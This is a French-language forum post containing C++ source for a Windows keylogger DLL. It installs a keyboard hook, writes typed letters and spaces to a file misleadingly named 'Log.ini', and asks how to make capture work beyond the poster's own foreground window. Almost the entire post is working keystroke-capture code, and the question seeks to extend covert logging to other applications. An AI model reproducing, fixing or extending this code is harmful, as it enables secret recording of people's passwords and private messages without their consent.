Re à tous, j'ai un autre problème dans ce code :
#include <windows.h>
#include <string>
#include <iostream>
#include <fstream>
using namespace std;
#define DLLEXPORT __declspec (dllexport)
HHOOK Hook;
HINSTANCE hInst;
ofstream Fichier;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if(fdwReason == DLL_PROCESS_ATTACH)
hInst = hinstDLL;
return true;
}
void WriteToFile(string Lettre)
{
Fichier << Lettre;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode >= 0)
{
if ( ((DWORD)lParam & 1<<30) != FALSE )
{
return CallNextHookEx(Hook, nCode, wParam, lParam);
}
switch(wParam)
{
case 'A' : WriteToFile("a"); break;
case 'B' : WriteToFile("b"); break;
case 'C' : WriteToFile("c"); break;
case 'D' : WriteToFile("d"); break;
case 'E' : WriteToFile("e"); break;
case 'F' : WriteToFile("f"); break;
case 'G' : WriteToFile("g"); break;
case 'H' : WriteToFile("h"); break;
case 'I' : WriteToFile("i"); break;
case 'J' : WriteToFile("j"); break;
case 'K' : WriteToFile("k"); break;
case 'L' : WriteToFile("l"); break;
case 'M' : WriteToFile("m"); break;
case 'N' : WriteToFile("n"); break;
case 'O' : WriteToFile("o"); break;
case 'P' : WriteToFile("p"); break;
case 'Q' : WriteToFile("q"); break;
case 'R' : WriteToFile("r"); break;
case 'S' : WriteToFile("s"); break;
case 'T' : WriteToFile("t"); break;
case 'U' : WriteToFile("u"); break;
case 'V' : WriteToFile("v"); break;
case 'W' : WriteToFile("w"); break;
case 'X' : WriteToFile("x"); break;
case 'Y' : WriteToFile("y"); break;
case 'Z' : WriteToFile("z"); break;
case VK_SPACE : WriteToFile(" "); break;
}
}
return CallNextHookEx(Hook, nCode, wParam, lParam);
}
int DLLEXPORT InitHook()
{
Fichier.open ("Log.ini", ios::out);
if(!Hook)
Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInst, 0);
return (int) Hook;
}
void DLLEXPORT EndHook()
{
Fichier.close();
if(Hook)
UnhookWindowsHookEx(Hook);
}
Pourquoi ce code marche-il que lorsque ma fenêtre est au premier plan ?

N'y aurait-il aucun moyen pour empecher cela

Merci de votre aide.